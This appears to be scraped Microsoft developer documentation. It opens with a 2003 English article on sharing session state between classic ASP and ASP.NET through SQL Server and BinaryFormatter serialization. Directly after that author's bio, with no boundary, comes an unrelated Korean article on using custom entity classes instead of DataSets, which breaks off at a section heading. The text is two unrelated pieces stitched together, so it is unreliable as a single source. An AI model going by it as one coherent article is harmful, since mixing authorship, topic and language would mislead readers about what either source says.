Billy Yuen
Microsoft Corporation

February 2003

Applies to:
   Microsoft® ASP.NET

Summary:Discusses how to share session state between classic ASP and Microsoft ASP.NET using Microsoft .NET Framework classes and the serialization feature of the .NET Framework. Sharing session state allows converting existing ASP applications to ASP.NET applications in stages while running the applications side by side. (12 printed pages)

Download the source code for this article.

Contents

Introduction
Conceptual Overview
ASP.NET Implementation
ASP Implementation
Demo Program
Incorporating the COM Object in an Existing ASP Application
Limitation/Improvement
Conclusion

Introduction

Microsoft® ASP.NET is the latest Microsoft technology for developing Web-based applications. It offers a number of advantages over the classic ASP script technology, including: 1) a better development structure by separating the UI presentation from business logic; 2) its code is fully compiled instead of interpreted as in classic ASP; and 3) its compile feature in conjunction with its caching support means significantly better performance for sites written in ASP.NET over equivalent sites written in classic ASP.

Despite the potential benefit of converting existing ASP applications to ASP.NET, many existing ASP applications are mission critical and complex. The conversion process could be resource intensive and induce additional risk to the existing application. One approach to address these issues is to run the ASP and ASP.NET side by side, and convert one section of the application at a time to ASP.NET. In order to run the new and old application side by side, a mechanism is needed to share the session state between classic ASP and ASP.NET. In this article, I'll discuss how the session state can be shared by using several classes and the serialization feature of the Microsoft® .NET Framework.

Conceptual Overview

Cookies are the most common way for Web applications to identify the user session, and can be used to identify session state for both classic ASP and ASP.NET. Session state information is stored in memory in ASP script and can't be shared with other applications, such as ASP.NET. If the session state is stored in a common format in Microsoft® SQL Server, the session state can be accessible by both classic ASP and ASP.NET.

In this example, a cookie named mySession is used to identify the user session. When a user makes a request to the Web application, the user will be issued a unique cookie to identify the session. On subsequent request, the browser will send the unique cookie back to the server to identify the session. Before the requested Web page is loaded, a custom object will reload the user session data from SQL Server using the unique cookie. The session state is accessible in the Web page through the custom object. After the Web request is finished, the session data will be persisted back to the SQL Server as the request terminates (see Figure 1).

Figure 1. Sample data flow

ASP.NET implementation

In ASP.NET, every Web page derives from theSystem.Web.UI.Pageclass. ThePageclass aggregates an instance of theHttpSessionobject for session data. In this example, a customPageclass calledSessionPageis derived from theSystem.Web.UI.Pageto offer all the same features as thePageclass. The only difference with the derived page is that the defaultHttpSessionis overridden with a custom session object. (Using thenewmodifier for the instance variable, C# allows the derived class to hide members of the base class.)

public class SessionPage : System.Web.UI.Page   {      ...      public new mySession Session = null;      ...   }

The custom session class is responsible for storing the session state in memory using theHybridDictionaryobject. (HybridDictionarycan efficiently handle any number of session elements.) The custom session class will limit the session data type to be string only for interoperability with the classic ASP. (The defaultHttpSessionallows any type of data to be stored in the session, which will not interoperate with the classic ASP.)

[Serializable]public class mySession    {      private HybridDictionary dic = new HybridDictionary();      public mySession()      {      }      public string this [string name]      {         get         {            return (string)dic[name.ToLower()];         }         set         {            dic[name.ToLower()] = value;         }      }   }

ThePageclass exposes different events and methods for customization. In particular, theOnInitmethod is used to set the initialize state of thePageobject. If the request does not have the mySession cookie, a new mySession cookie will be issued to the requester. Otherwise, the session data will be retrieved from SQL Server using a custom data access object,SessionPersistence. The dsn andSessionExpirationvalues are retrieved from the web.config.

override protected void OnInit(EventArgs e)      {         InitializeComponent();         base.OnInit(e);      }      private void InitializeComponent()      {             cookie = this.Request.Cookies[sessionPersistence.SessionID];         if (cookie == null)         {            Session = new mySession();            CreateNewSessionCookie();            IsNewSession = true;         }         else            Session = sessionPersistence.LoadSession(Server.UrlDecode(cookie.Value).ToLower().Trim(), dsn, SessionExpiration);                     this.Unload += new EventHandler(this.PersistSession);      }      private void CreateNewSessionCookie()      {         cookie = new HttpCookie(sessionPersistence.SessionID,             sessionPersistence.GenerateKey());         this.Response.Cookies.Add(cookie);      }

TheSessionPersistenceclass uses theBinaryFormatterof the Microsoft .NET Framework to serialize and deserialize the session state in binary format for optimal performance. The resulting binary session state data can then be stored in the SQL Server as an image field type.

public  mySession LoadSession(string key, string dsn,                                     int SessionExpiration)      {         SqlConnection conn = new SqlConnection(dsn);         SqlCommand LoadCmd = new SqlCommand();         LoadCmd.CommandText = command;         LoadCmd.Connection = conn;         SqlDataReader reader = null;         mySession Session = null;         try         {            LoadCmd.Parameters.Add("@ID", new Guid(key));            conn.Open();            reader = LoadCmd.ExecuteReader();            if (reader.Read())            {               DateTime LastAccessed = reader.GetDateTime(1).AddMinutes(SessionExpiration);               if (LastAccessed >= DateTime.Now)                  Session = Deserialize((Byte[])reader["Data"]);            }         }         finally         {            if (reader != null)               reader.Close();            if (conn != null)               conn.Close();         }                  return Session;      }private mySession Deserialize(Byte[] state)      {         if (state == null) return null;                  mySession Session = null;         Stream stream = null;         try         {            stream = new MemoryStream();            stream.Write(state, 0, state.Length);            stream.Position = 0;            IFormatter formatter = new BinaryFormatter();            Session = (mySession)formatter.Deserialize(stream);         }         finally         {            if (stream != null)               stream.Close();         }         return Session;      }

At the end of the request, thePageclassUnloadevent is fired, and an event handler registered with theUnloadevent will serialize the session data into binary format and save the resulting binary data into SQL Server.

private void PersistSession(Object obj, System.EventArgs arg)      {      sessionPersistence.SaveSession(               Server.UrlDecode(cookie.Value).ToLower().Trim(),                dsn, Session, IsNewSession);      }      public void SaveSession(string key, string dsn, mySession Session, bool IsNewSession)      {         SqlConnection conn = new SqlConnection(dsn);         SqlCommand SaveCmd = new SqlCommand();                  SaveCmd.Connection = conn;                  try         {            if (IsNewSession)               SaveCmd.CommandText = InsertStatement;            else               SaveCmd.CommandText = UpdateStatement;            SaveCmd.Parameters.Add("@ID", new Guid(key));            SaveCmd.Parameters.Add("@Data", Serialize(Session));            SaveCmd.Parameters.Add("@LastAccessed", DateTime.Now.ToString());                  conn.Open();            SaveCmd.ExecuteNonQuery();         }         finally         {            if (conn != null)               conn.Close();         }      }private Byte[] Serialize(mySession Session)      {         if (Session == null) return null;         Stream stream = null;         Byte[] state = null;         try         {            IFormatter formatter = new BinaryFormatter();            stream = new MemoryStream();            formatter.Serialize(stream, Session);            state = new Byte[stream.Length];            stream.Position = 0;            stream.Read(state, 0, (int)stream.Length);            stream.Close();         }         finally         {            if (stream != null)               stream.Close();         }         return state;      }

TheSessionPageclass and its associated classes are packaged in the SessionUtility assembly. In a new ASP.NET project, a reference will be made to the SessionUtility assembly, and every page will derive from theSessionPageinstead of from thePageclass in order to share session with classic ASP codes. Once the porting is completed, the new application can switch back to use the nativeHttpSessionobject by commenting out the Session variable declaration in theSessionPageclass to unhide the baseHttpSession.

ASP Implementation

The native ASP session can only store session data in memory. In order to store the session data to SQL Server, a custom Microsoft® Visual Basic® 6.0 COM object is written to manage the session state instead of using the native session object. This COM object will be instantiated in the beginning of each Web request and reload the session data from SQL Server. When the ASP script is finished, this object will be terminated and the session state will be persisted back to SQL Server.

The primary purpose of the Visual Basic 6 COMSessionobject is to provide access to the Microsoft® Internet Information Server intrinsic objects. The Visual Basic 6.0 COM Session object uses themySessionclass of SessionUtility assembly to hold the session state, and theSessionPersistenceclass of SessionUtility to load and save session data with SQL Server. ThemySessionandSessionPersistenceclasses are exposed as COM objects using the regasm.exe utility. The regasm.exe utility can register and create a type library for the COM client to consume Framework classes.

The session state information is reloaded during the construction of the object. The constructor (class_initialize) will first retrieve the session cookie, session timeout (SessionTimeOut), and database connection string (SessionDSN) from theApplicationobject, and create an instance of the classmySessionto hold the session data. Then the constructor will try to reload the session data from SQL Server with the given cookie. If the SQL Server does not have the session information, or the session has been expired, a new cookie will be issued. If the SQL Sever does return with the session state data, the session state will be stored in themySessionobject.

Private Sub Class_Initialize()On Error GoTo ErrHandler:    Const METHOD_NAME As String = "Class_Initialize"    Set mySessionPersistence = New SessionPersistence    Set myObjectContext = GetObjectContext()    mySessionID = ReadSessionID()    myDSNString = GetConnectionDSN()    myTimeOut = GetSessionTimeOut()    myIsNewSession = False    Call InitContents        Exit SubErrHandler:    Err.Raise Err.Number, METHOD_NAME & ":" & Err.Source, Err.DescriptionEnd SubPrivate Sub InitContents()On Error GoTo ErrHandler:    Const METHOD_NAME As String = "InitContents"        If mySessionID = "" Then        Set myContentsEntity = New mySession        mySessionID = mySessionPersistence.GenerateKey        myIsNewSession = True    Else        Set myContentsEntity =         mySessionPersistence.LoadSession(mySessionID, myDSNString, myTimeOut)    End If            Exit SubErrHandler:    Err.Raise Err.Number, METHOD_NAME & ":" & Err.Source, Err.DescriptionEnd Sub

When the object instance goes out of scope in the script, the destructor (class_terminate) will execute. The destructor will persist the session data using theSessionPersistence.SaveSession()method. If this is a new session, the destructor will also send the new cookie back to the browser.

Private Sub Class_Terminate()On Error GoTo ErrHandler:    Const METHOD_NAME As String = "Class_Terminate"    Call SetDataForSessionID    Exit Sub ErrHandler: Err.Raise Err.Number, METHOD_NAME & ":" & Err.Source, Err.Description  End SubPrivate Sub SetDataForSessionID()On Error GoTo ErrHandler:    Const METHOD_NAME As String = "SetDataForSessionID"    Call mySessionPersistence.SaveSession(mySessionID, myDSNString, myContentsEntity, myIsNewSession)        If myIsNewSession Then Call WriteSessionID(mySessionID)        Set myContentsEntity = Nothing    Set myObjectContext = Nothing    Set mySessionPersistence = Nothing    Exit SubErrHandler:    Err.Raise Err.Number, METHOD_NAME & ":" & Err.Source, Err.DescriptionEnd Sub

You can download the source code of ASP.NET SessionUtility project, the COM Session Manager, and the Demo code by clicking the link at the top of the article.

Demo Program

The demo program is designed to increment and display a number. Regardless of which page is loaded, the number will keep incrementing because the number value is stored in SQL Server and is shared between classic ASP and ASP.NET.

Steps to Set Up the Demo Program

1. Create a new database called SessionDemoDb.
2. Create the SessState table (osql.exe –E –d SessionDemoDb –i Session.sql).
3. Create a new virtual directory called Demo.
4. Turn off ASP Session under the ASP configuration tab.
5. Copy the web.config, testPage.aspx, Global.asa, testPage.asp, and GlobalInclude.asp to the virtual directory.
6. Update the DSN string setting in the Global.asa and web.config. The session timeout setting is optional. The default is 20 minutes. 
7. Install the SessionUtility.dll into the Global Assembly Cache (gacutil /i SessionUtility.dll).
8. Expose the SessionUtility.dll as a COM object using the regasm.exe (regasm.exe SessionUtility.dll /tlb:SessionUtility.tlb).
9. Copy the SessionManager.dll to a local directory and use regsvr32.exe to register it (regsvr32 SessionManager.dll).
10. Grant the IUSR_<machine_name> account to have read and execute access to the SessionMgr.dll.

Steps to Run the Demo Program

1. Start Microsoft® Internet Explorer.
2. Load the testPage.asp for classic ASP. The number "1" should appear in the Web page.
3. Click refresh on Internet Explorer to reload the page. The number should be incremented.
4. Change the URL to testPage.aspx for ASP.NET. The number should keep incrementing.
5. The same process can be repeated by starting the testPage.aspx page first.

Incorporating the COM Object in an Existing ASP Application

A common practice in developing ASP applications is to include a file in the beginning of each script to share common codes and constants. The best way to incorporate the custom session object is to add the instantiation code in the common include file. The last step is simply to replace all reference to the session object with the custom session variable name.

Limitation/Improvement

This solution will not support an existing ASP application that stores a COM object in theSessionobject. In this case, a custom marshaler is needed to serialize/deserialize the states in order to use the custom session object. In addition, this solution does not support storing type arrays of the string. With some additional effort, this feature can be implemented by using the Microsoft® Visual Basic® 6.0Joinfunction to combine all of the array elements into a single string before storing it into session object. The reverse can be done using the Visual Basic 6.0Splitfunction to split the string back to individual array elements. On the .NET Framework side, theJoinandSplitmethods are members of theStringclass.

Conclusion

ASP.NET represents a new programming paradigm and architecture, and offers many advantages over classic ASP. Although porting from ASP to ASP.NET is not a simple process, the better programming model and improved performance of ASP.NET will make the conversion process worthwhile. With the exception of storing a COM object in theSessionobject, the approach described in this article offers a solution that will make the migration process simpler.

About the Author

Billy Yuenworks in Northern California at the Microsoft Technology Center Silicon Valley. This center focuses on the development of Microsoft .NET Framework solutions. He can be reached atbillyy@microsoft.com.

Karl Seguin
Microsoft Corporation

요약:경우에 따라 형식화되지 않은DataSet가 데이터 조작을 위한 최선의 솔루션이 되지 못하는 상황이 있을 수 있습니다. 이 가이드에서는 사용자 지정 엔터티 및 컬렉션이라는DataSet의 대안을 살펴도록 하겠습니다.

목차

소개
DataSet의 문제
사용자 지정 엔터티 클래스
개체 관련 매핑
사용자 지정 컬렉션
관계 관리
중급 단계
결론

소개

ADODB.RecordSet과 곧잘 잊혀지던MoveNext의 시대는 가고 이제는 그 자리를 Microsoft ADO.NET의 강력하고 유연한 기능이 대신하게 되었습니다. Microsoft에서 내놓은 새로운 방법은 탁월한 속도의DataReader와 풍부한 기능의DataSet를 갖추고 뛰어난 개체 지향 모델에 패키지화되는System.Data네임스페이스입니다. 이러한 도구를 마음대로 사용할 수 있는 상황은 충분히 예견된 일입니다. 모든 3 계층 아키텍처는 강력한 DAL(데이터 액세스 계층)을 사용하여 데이터 계층을 비즈니스 계층에 안정적으로 연결합니다. 양질의 DAL은 코드 재사용률을 높이고 뛰어난 성능을 위한 핵심 역할을 수행할 뿐 아니라 완전히 투명하게 나타납니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).

도구가 발전을 거듭함에 따라 일정한 개발 패턴을 갖게 되었습니다.MoveNext와 작별을 고한 것은 성가신 구문으로부터 벗어난 수준을 뛰어넘어 연결이 끊어진 데이터에 눈을 돌리게 한 것은 물론 응용 프로그램을 빌드하는 방법에도 막대한 영향을 미쳤습니다.

DataReader에 익숙해지자(RecordSet과 유사하게 작동) 얼마 지나지 않아DataAdapter,DataSet,DataTable및DataView에도 과감히 달려들어 살펴보게 되었습니다. 이는 개발 방식에 변화를 주는 새 개체를 활용하는 능력이 향상된 것으로 볼 수 있습니다. 연결이 끊어진 데이터를 사용하면 새로운 캐싱 기법을 활용할 수 있어 응용 프로그램의 성능이 크게 향상됩니다. 게다가 이러한 클래스 기능을 통해 보다 세련되고 강력한 함수를 작성할 수 있게 된 동시에 때로는 일반적인 작업에 필요한 코드의 양을 눈에 띌 만큼 줄이게 되었습니다.

DataSet가 특히 적합한 상황은 프로토타입, 소형 시스템 및 지원 유틸리티를 비롯하여 다양합니다. 하지만 출시 시간보다 유지 관리의 편의성이 중요한 엔터프라이즈 시스템에 사용하면 최상의 효과를 발휘하지 못할 수도 있습니다. 이 가이드의 목표는 이러한 작업 유형을 위해 조정된DataSet를 대신할 사용자 지정 엔터티 및 컬렉션이라는 대안을 살펴보는 것입니다. 다른 대안도 있기는 하지만 기능이 동일하지 않거나 지원 수준이 떨어집니다. 가장 먼저 할 일은DataSet의 단점을 확인하고 해결할 문제를 이해하는 것입니다.

모든 솔루션은 저마다 장단점이 있으므로 사용자 지정 엔터티의 단점(이후 설명 참조)보다DataSet의 단점에 더 친숙해질 수 있습니다. 따라서 여러분과 팀 구성원은 해당 프로젝트에 보다 적합한 솔루션을 결정해야만 합니다. 또한 변경할 요구 사항의 특성 및 실제 코드 개발보다 생산 후에 더 많은 시간이 소요될 가능성을 비롯하여 총 솔루션 비용을 반드시 고려해야 합니다. 마지막으로, 여기서 언급하는DataSet는 형식화되지 않은DataSet의 일부 단점을 해결한 형식화된DataSet를 말하는 것이 아님을 유의하십시오.

DataSet의 문제

추상화의 부재

DataSet의 대안을 고려해야 할 첫 번째이자 가장 확실한 이유는 코드와 데이터베이스 구조를 분리할 수 없다는 점에 있습니다.DataAdapter는 기본 데이터베이스 공급업체(Microsoft, Oracle, IBM 등) 종류에 관계 없이 코드를 작성하는 데는 효과적이지만 테이블, 열 및 관계 같은 핵심 데이터베이스 구성 요소를 추상화하지는 못합니다. 이러한 핵심 데이터베이스 구성 요소는DataSet의 핵심 구성 요소이기도 합니다.DataSet와 데이터베이스는 일반적인 구성 요소 이상의 것을 공유하며 아쉽게도 스키마까지 공유합니다. 다음과 같은 Select 문이 있다고 가정합시다.

SELECT UserId, FirstName, LastName   FROM Users

다들 알겠지만 값은DataSet내의UserId,FirstName및LastNameDataColumn에 있습니다.

이것이 어째서 문제가 되는 것일까요? 기본적인 일반 예제를 살펴봅시다. 먼저 다음과 같이 간단한 DAL 함수를 만듭니다.

'Visual Basic .NETPublic Function GetAllUsers() As DataSet Dim connection As New SqlConnection(CONNECTION_STRING) Dim command As SqlCommand = New SqlCommand("GetUsers", connection) command.CommandType = CommandType.StoredProcedure Dim da As SqlDataAdapter = New SqlDataAdapter(command) Try  Dim ds As DataSet = New DataSet  da.Fill(ds)  Return ds Finally  connection.Dispose()  command.Dispose()  da.Dispose() End TryEnd Function//C#public DataSet GetAllUsers() { SqlConnection connection = new SqlConnection(CONNECTION_STRING); SqlCommand command = new SqlCommand("GetUsers", connection); command.CommandType = CommandType.StoredProcedure; SqlDataAdapter da = new SqlDataAdapter(command); try {  DataSet ds = new DataSet();  da.Fill(ds);  return ds; }finally {  connection.Dispose();  command.Dispose();  da.Dispose(); }            }

그런 다음 아래와 같이 모든 사용자의 이름을 표시하는 반복기가 있는 페이지를 만듭니다.

<HTML> <body>   <form id="Form1" method="post" runat="server">     <asp:Repeater ID="users" Runat="server">        <ItemTemplate>           <%# DataBinder.Eval(Container.DataItem, "FirstName") %>           <br />        </ItemTemplate>     </asp:Repeater>   </form> </body></HTML><script runat="server">  public sub page_load     users.DataSource = GetAllUsers()     users.DataBind()  end sub</script>

위에 나온 것처럼 ASPX 페이지는 반복기의DataSource에 대해 DAL 함수GetAllUsers를 사용합니다. 어떠한 이유로든(예: 성능 향상을 위한 비정규화, 명확도 향상을 위한 정규화, 요구 사항의 변화) 데이터베이스 스키마가 변경되면 변경 내용은 항상 "FirstName" 열 이름을 사용하는 ASPX 즉,Databinder.Eval줄로 전달됩니다. 이렇게 되면 즉시 '데이터베이스 스키마의 변경 내용이 항상 ASPX 코드로 전달될까?'와 같은 위험한 의문이 머리 속에 떠오르게 됩니다. N 계층의 장점이 무색해지는 대목입니다.

해야 할 작업이 간단한 열 이름 바꾸기 뿐이라면 이 예제에서의 변경 작업은 간단하게 이루어집니다. 그러나GetAllUsers를 수많은 위치에 사용하거나 설상가상으로 웹 서비스로 노출하여 수없이 많은 소비자에게 공급한다면 어떻게 될까요? 얼마나 쉽게 또는 안전하게 변경 내용을 전파할 수 있을까요? 이 기본 예제에서는 저장 프로시저가 추상화 계층 역할을 수행하는 것으로 충분하지만 가장 기본적인 보호의 용도 이외에 모든 부분에서 저장 프로시저에 의존하면 향후 더 큰 문제가 발생하게 됩니다. 그러면 이러한 형태를 하드 코딩이라고 가정해 봅시다. 본질적으로DataSet를 사용하면 데이터베이스 스키마(열 이름을 사용하든 순서를 사용하든 관계없이)와 응용 프로그램/비즈니스 계층 사이에 긴밀한 연결을 만들게 됩니다. 이전의 경험(또는 논리)을 통해 하드 코딩이 유지 관리 및 향후 개발에 미치는 악영향을 알고 있을 것입니다.

DataSet가 적절한 추상화를 제공하지 못하는 또 다른 이유는 개발자가 기본 스키마를 알고 있어야 하기 때문입니다. 여기서 말하는 스키마란 기본 지식을 의미하는 것이 아니라 열 이름, 형식 및 관계에 대한 전체 지식을 의미하는 것입니다. 이러한 요구 사항을 없애면 위에서처럼 코드가 잘못될 위험이 줄어들 뿐 아니라 작성 및 유지 관리도 용이해집니다. 간단히 나타내면 다음과 같습니다.

Convert.ToInt32(ds.Tables[0].Rows[i]["userId"]);

위의 코드는 읽기 어려울 뿐만 아니라 열 이름 및 해당 형식에 대해 자세히 알고 있어야 합니다. 이상적인 경우라면 비즈니스 계층에서는 기본 데이터베이스, 데이터베이스 스키마 또는 SQL에 대해 전혀 알 필요가 없습니다.DataSet를 이전 코드 문자열에 나타난 대로 사용하면(CodeBehind를 사용해도 효과가 없음) 비즈니스 계층이 매우 얇아질 수 있습니다.

약한 형식

DataSet는 오류가 자주 발생하여 개발 노력에 영향을 줄 수 있는 약한 형식입니다. 다시 말해DataSet에서 값을 검색할 때마다System.Object형식으로 반환되므로 이를 변환해야 합니다. 여기서 직면하는 위험은 변환에 실패하는 상황입니다. 안타깝게도 이러한 실패 상황은 컴파일 타임이 아닌 런타임에 발생합니다. 또한 Microsoft VS.NET(Visual Studio.NET) 같은 도구는 개발자가 약한 형식의 개체를 작업하는 데 있어 그다지 많은 도움이 되지 못합니다. 바로 이러한 이유 때문에 앞에서 스키마에 대해 풍부한 지식을 갖추고 있어야 한다고 언급한 것입니다. 다음은 매우 일반적인 예제입니다.

'Visual Basic.NETDim userId As Integer =        Convert.ToInt32(ds.Tables(0).Rows(0)("UserId"))Dim userId As Integer = CInt(ds.Tables(0).Rows(0)("UserId"))Dim userId As Integer = CInt(ds.Tables(0).Rows(0)(0))//C#int userId = Convert.ToInt32(ds.Tables[0].Rows[0]("UserId"));

이 코드는DataSet에서 값을 검색할 수 있는 방법을 나타내며 아마도 수 많은 위치에 이 코드가 있을 것입니다(변환을 수행하지 않고 현재 Visual Basic .NET을 사용하는 경우 Option Strict를 비활성화했을 것이며 이 경우 문제는 훨씬 심각해집니다).

아쉽게도 위의 각 코드 줄은 다음과 같은 수많은 런타임 오류를 발생시킬 수 있습니다.

1. 변환에 실패하는 원인은 다음과 같습니다.
   • 값이 null일 수 없습니다.
   • 개발자가 기본 데이터 형식을 잘못 알고 있을 수 있습니다(데이터베이스 스키마에 대해 자세히 알고 있어야 함).
   • 순서 값을 사용하는 경우, X 위치에 어떤 열이 있는지 알 수 없습니다.
2. ds.Tables(0)가 null 참조를 반환할 수 있습니다(DAL 메서드 또는 저장 프로시저의 일부가 실패한 경우).
3. "UserId"의 열 이름이 올바르지 않은 원인은 다음과 같습니다.
   • 이름이 변경되었을 수 있습니다.
   • 저장 프로시저에 의해 반환되지 않을 수 있습니다.
   • 오타가 있을 수 있습니다.

null/nothing에 대한 확인과try/catch를 변환 과정에 추가하는 방식으로 코드를 수정하여 좀 더 방어적으로 작성할 수 있더라도 개발자에게는 도움이 되지 않습니다.

가장 나쁜 상황은 앞에서 언급했듯이 추상화되지 않는다는 점입니다. 이렇게 되면DataSet에서userId를 제거할 때마다 앞에서 언급한 위험을 겪게 되거나 동일한 방어 단계를 다시 프로그래밍해야 합니다(이 문제를 완화하는 데는 유틸리티 함수가 도움이 됨). 약한 형식의 개체는 오류를 항상 자동으로 발견하여 손쉽게 수정하는 디자인 타임이나 컴파일 타임에서 위험이 생산 단계에 노출되어 잡아내기가 어려운 런타임으로 옮깁니다.

비개체 지향

DataSet가 개체이고 C# 및 Visual Basic .NET이 OO(개체 지향) 언어라고 해서 이를 사용할 때 개체 지향이 자동으로 이루어지는 것은 아닙니다. OO 프로그래밍의 "Hello World"는 일반적으로Person클래스의 하위 클래스인Employee클래스 입니다. 그러나DataSet는 이러한 상속 유형이나 대부분의 다른 OO 기법을 가능한(최소한 자연스럽게/직관적으로) 만들지 않습니다. 클래스 엔터티의 열렬한 지지자인 Scott Hanselman은 이를 다음과 같이 잘 설명하고 있습니다.

"DataSet는 물론 개체입니다. 그러나 도메인 개체도 아니고 'Apple' 또는 'Orange'도 아닌 'DataSet' 형식의 개체입니다.DataSet는 일종의 그릇입니다(백업 데이터 저장소에 대한 정보가 있는). DataSet는 행과 열을 저장하는 방법을 알고 있는 개체이기도 합니다. 또한 이 개체는 데이터베이스에 대해서도 많은 부분을 알고 있습니다. 그러나 저는 그릇은 반환하고 싶지 않으며 'Apples' 같은 도메인 개체를 반환하고 싶습니다."¹

DataSet는 데이터를 관계 형식으로 유지하므로 강력한 특성을 나타내고 관계형 데이터베이스와 함께 사용하기 편리합니다. 하지만 아쉽게도 이렇게 되면 OO의 이점을 놓치게 됩니다.

DataSet는 도메인 개체 역할을 할 수 없으므로 기능을 추가할 수 없습니다. 일반적으로 개체에는 클래스 인스턴스에 대해 동작하는 필드, 속성 및 메서드가 있습니다. 예를 들어Promote또는CalcuateOvertimePay함수가someUser.Promote()또는someUser.CalculateOverTimePay()를 통해 명확하게 호출할 수 있는User개체와 연결되어 있을 수 있습니다.DataSet에 메서드를 추가할 수 없으므로 유틸리티 함수를 사용하고 약한 형식의 개체를 처리하며 하드 코딩된 값의 인스턴스를 코드 전체에 추가로 분배해야 합니다. 또한 기본적으로 절차 코드로 마무리하여DataSet에서 계속 데이터를 제거하거나 이를 로컬 변수에 저장하여 전달합니다. 두 메서드 모두 단점은 있지만 어느 쪽도 이점은 없습니다.

DataSet 사례

데이터 액세스 계층이DataSet를 반환하기 위한 것이라는 생각을 가지고 있으면 몇 가지 중요한 이점을 놓칠 수 있습니다. 한 가지 이유는 특히 추상화 능력을 제한하는 얇거나 존재하지 않는 비즈니스 계층을 사용할 수 있기 때문입니다. 또한 미리 빌드된 일반적인 솔루션을 사용하기 때문에 OO 기법을 사용하기가 어렵습니다. 마지막으로 Visual Studio.NET 같은 도구는DataSet같은 약한 형식의 개체를 사용하는 개발자의 능률을 손쉽게 끌어올리지 못해 생산성을 떨어뜨리고 버그의 발생 가능성을 높이게 됩니다.

이러한 모든 요소가 이런 저런 방식으로 코드의 관리 용이성에 직접적으로 영향을 미칩니다. 추상화를 수행하지 않으면 기능 변경 및 버그 수정의 복잡성과 위험이 높아집니다. 또한 코드 재사용이나 OO에서 제공하는 향상된 가독성을 완전히 활용할 수 없게 됩니다. 게다가 개발자는 비즈니스 논리를 작업하든 프레젠테이션 논리를 작업하든 간에 기본 데이터 구조에 대해 자세히 알고 있어야 합니다.

사용자 지정 엔터티 클래스

DataSet와 관련된 대부분의 문제는 효율적으로 정의된 비즈니스 계층 내에 OO 프로그래밍의 풍부한 기능을 활용하여 해결할 수 있습니다. 일단 기본적으로 필요한 것은 관계에 따라 구성된 데이터(데이터베이스)를 얻어 개체(코드)에서 사용하는 것입니다. 개념적인 측면에서 보면 자동차에 대한 정보를 저장하는DataTable을 가지는 대신에 실제로 자동차 개체(사용자 지정 엔터티 또는 도메인 개체라고 함)를 가지는 것입니다.

사용자 지정 엔터티를 살펴보기 전에 먼저 당면한 과제를 짚고 넘어가겠습니다. 가장 분명하게 드러나는 부분은 필요한 코드의 양입니다. 데이터를 가져와DataSet를 자동으로 채우는 대신 데이터를 가져와 먼저 만들어야 하는 사용자 지정 엔터티에 수동으로 매핑합니다. 이렇게 되면 반복 작업을 수행하게 되므로 코드 생성 도구 또는 O/R 매퍼를 사용하여 이를 줄여야 합니다. 이에 대해서는 나중에 자세히 다룰 것입니다. 보다 큰 문제는 데이터를 관계 영역에서 개체 영역으로 매핑하는 실제 프로세스입니다. 단순한 시스템에서는 매핑이 가장 간단한 작업이지만 시스템이 복잡해지면 두 영역 간의 차이가 벌어져 문제가 발생할 수 있습니다. 예를 들어 개체 영역에서 코드 재사용 및 관리 용이성에 도움이 되는 주요 기법에는 상속이 있습니다. 하지만 아쉽게도 상속은 관계형 데이터베이스에서 낯선 개념입니다. 이러한 차이점의 또 다른 예는 개체 영역은 개별 개체에 대한 참조를 관리하고, 관계 영역은 외래 키를 사용한다는 점입니다.

이렇게 하면 마치 이 접근 방식이 코드의 양이 많고 관계형 데이터와 개체 간의 불일치로 인해 복잡한 시스템에는 적합하지 않는 것처럼 들리지만 실제로는 정반대입니다. 복잡한 시스템은 단일 계층에서 격리하는 데(매핑 프로세스) 어려움이 있으므로 이 접근 방식이 도움이 됩니다(자동화 가능). 또한 이 접근 방식은 이미 상당히 널리 사용되고 있으므로 추가되는 복잡성을 명확하게 처리할 수 있는 다양한 디자인 패턴이 나와 있습니다. 앞에서 복잡한 시스템의 단점과 함께 다룬DataSet의 단점을 좀 더 자세히 살펴보면 결국 시스템을 빌드하는 데 따르는 어려움은 변경 불가능한 특성만 뛰어넘는 수준으로 마무리 될 것입니다.

사용자 지정 엔터티의 정의

사용자 지정 엔터티는 비즈니스 도메인을 나타내는 개체로 비즈니스 계층의 기초가 됩니다. 사용자 인증 구성 요소(이 가이드 전체에서 사용할 예제)가 있다면 아마도User및Role개체가 있을 것입니다. 또한 전자 상거래 시스템이라면Supplier와Merchandise개체가, 부동산 회사에는Houses,Rooms및Addresses가 있을 수 있습니다. 사용자 지정 엔터티는 코드 내에서 단순한 클래스입니다(엔터티와 클래스는 OO 프로그래밍에 사용될 때 상당히 밀접한 상관 관계를 가짐). 일반적인User클래스는 다음과 같습니다.

'Visual Basic .NETPublic Class User#Region "Fields and Properties" Private _userId As Integer Private _userName As String Private _password As String Public Property UserId() As Integer  Get   Return _userId  End Get  Set(ByVal Value As Integer)    _userId = Value  End Set End Property Public Property UserName() As String  Get   Return _userName  End Get  Set(ByVal Value As String)   _userName = Value  End Set End Property Public Property Password() As String  Get   Return _password  End Get  Set(ByVal Value As String)   _password = Value  End Set End Property#End Region#Region "Constructors" Public Sub New() End Sub Public Sub New(id As Integer, name As String, password As String)  Me.UserId = id  Me.UserName = name  Me.Password = password End Sub#End RegionEnd Class//C#public class User {#region "Fields and Properties" private int userId; private string userName; private string password; public int UserId {  get { return userId; }  set { userId = value; }  } public string UserName {  get { return userName; }  set { userName = value; } } public string Password {  get { return password; }  set { password = value; } }#endregion#region "Constructors" public User() {} public User(int id, string name, string password) {  this.UserId = id;  this.UserName = name;  this.Password = password; }#endregion}

이점 세부 사항

사용자 지정 엔터티를 통해 얻게 되는 중요한 이점은 컨트롤에서는 완전히 개체라는 단순한 사실에서 비롯됩니다. 즉, 사용자 지정 엔터티를 사용하면 다음을 수행할 수 있습니다.

• 상속 및 캡슐화 같은 OO 기법을 사용합니다.
• 사용자 지정 동작을 추가합니다.

예를 들어User클래스는 클래스에UpdatePassword함수를 추가하여 효과적으로 사용할 수 있습니다(외부/유틸리티 함수를 사용하면 DataSet로도 가능하지만 가독성과 관리 용이성이 희생됨). 또한 강력한 형식이므로 IntelliSense가 지원됩니다.

그림 1. User 클래스의 IntelliSense

마지막으로 사용자 지정 엔터티는 강력한 형식이므로 다음과 같이 오류에 취약한 캐스트가 덜 필요합니다.

Dim userId As Integer = user.UserId'vsDim userId As Integer =          Convert.ToInt32(ds.Tables("users").Rows(0)("UserId"))

개체 관련 매핑

